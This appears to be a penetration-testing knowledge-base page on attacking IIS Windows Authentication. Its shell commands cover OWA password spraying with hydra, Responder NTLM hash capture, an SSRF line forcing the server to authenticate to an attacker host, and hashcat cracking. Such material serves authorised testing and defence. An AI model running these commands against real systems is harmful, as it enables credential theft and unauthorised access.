Skip to content
HackIndex.io

IIS Windows Authentication Attacks

4 min read Created Mar 30, 2026 Last updated Jun 19, 2026

IIS sites using Windows Authentication (NTLM or Negotiate) present an authentication surface attackable through credential spraying, NTLM hash capture via Responder, and pass-the-hash when NTLMv1 is negotiated. NTLM info extracted during IIS enumeration provides the domain name and hostname needed to target these attacks correctly.

Windows Authentication attack vectors on IIS:

  • Credential spraying against OWA and other NTLM endpoints

  • NTLM hash capture via Responder when the site triggers outbound auth

  • NTLMv1 downgrade for pass-the-hash when legacy negotiation is accepted

Confirm NTLM Authentication Surface

┌──(kali㉿kali)-[~]
└─$ curl -skI http://$TARGET_IP/ | grep -i 'www-authenticate' 
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
┌──(kali㉿kali)-[~]
└─$ nmap -p 80,443 --script http-ntlm-info $TARGET_IP 
| http-ntlm-info:
|   Target_Name: COMPANY
|   NetBIOS_Domain_Name: COMPANY
|   DNS_Domain_Name: company.local
|   DNS_Computer_Name: web01.company.local
|_  Product_Version: 10.0.17763
Explain command
-p 80,443 Scan only ports 80 and 443.
--script http-ntlm-info Run NSE script to extract NTLM info from HTTP auth headers.
$TARGET_IP Placeholder for the target host IP address.

Credential Spraying Against OWA

Outlook Web App on Exchange is the most common NTLM-authenticated IIS target. Spray one password across all known user accounts. OWA returns distinct responses for valid versus invalid credentials:

┌──(kali㉿kali)-[~]
└─$ # Confirm OWA login response patterns
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST https://$TARGET_IP/owa/auth.owa -d 'username=admin&password=wrongpass&flags=4' -D - | grep -iE 'location|set-cookie|302|401' 
HTTP/2 302
Location: /owa/auth/logon.aspx?reason=2
┌──(kali㉿kali)-[~]
└─$ hydra -L /tmp/users.txt -p 'Password123' -s 443 $TARGET_IP https-post-form "/owa/auth.owa:username=^USER^&password=^PASS^&flags=4:reason=2" -t 5 -W 3 
[443][https-post-form] host: 10.10.10.50   login: john.smith@company.com   password: Password123
Explain command
-L /tmp/users.txt Load usernames from the specified file.
-p 'Password123' Use a single fixed password for all attempts.
-s 443 Override the default port with 443 (HTTPS).
$TARGET_IP Placeholder for the target host IP address.
https-post-form Use HTTPS POST form-based authentication module.
/owa/auth.owa:username=^USER^&password=^PASS^&flags=4:reason=2 Form path, POST body with credential placeholders, and failure string.
-t 5 Run 5 parallel connection tasks simultaneously.
-W 3 Set wait time between each connection attempt to 3 seconds.

NTLM Hash Capture with Responder

When the IIS server or a client can be made to authenticate to an attacker-controlled host, Responder captures the NTLMv2 hash for offline cracking. Set up Responder on the network interface facing the target:

┌──(kali㉿kali)-[~]
└─$ responder -I eth0 -wrf 
[+] Listening for events...
[SMB] NTLMv2-SSP Client   : 10.10.10.50
[SMB] NTLMv2-SSP Username : COMPANY\web_service
[SMB] NTLMv2-SSP Hash     : web_service::COMPANY:aabbccdd:HASH
Explain command
-I eth0 Specifies the network interface to listen on.
-w Starts the WPAD rogue proxy server.
-r Enables answers for NetBIOS wredir suffix queries.
-f Fingerprints the remote host OS via NBT-NS queries.

Trigger authentication from IIS to your Responder listener by inducing an SSRF via the web application: if a URL parameter fetches remote content, point it at your Responder listener IP using a UNC path:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/fetch?url=\\\\$LHOST\\share"

Crack Captured NTLMv2 Hash

┌──(kali㉿kali)-[~]
└─$ hashcat -m 5600 captured_hash.txt /usr/share/wordlists/rockyou.txt 
web_service::COMPANY:...:Password123
Explain command
-m 5600 Sets hash type to NetNTLMv2 for cracking.
captured_hash.txt Input file containing the captured hash to crack.
/usr/share/wordlists/rockyou.txt Wordlist file used for dictionary-based cracking.

Test Credentials Against IIS with NTLM Auth

Use cracked or sprayed credentials against the NTLM-protected IIS site directly:

┌──(kali㉿kali)-[~]
└─$ curl -sk --ntlm -u "COMPANY\\$USER:$PASSWORD" http://$TARGET_IP/ | grep -iE 'welcome|dashboard|logged in' 
<title>Welcome - Internal Portal</title>
┌──(kali㉿kali)-[~]
└─$ curl -sk --ntlm -u "COMPANY\\$USER:$PASSWORD" http://$TARGET_IP/admin/ -D - | grep -iE 'HTTP|location|content-type'

Valid credentials against an NTLM-protected IIS site often provide access to the ECP (Exchange Control Panel) or other administrative interfaces. ECP access enables creating new mailbox rules, forwarding all mail, and resetting passwords: high-impact lateral movement paths in Exchange environments.

References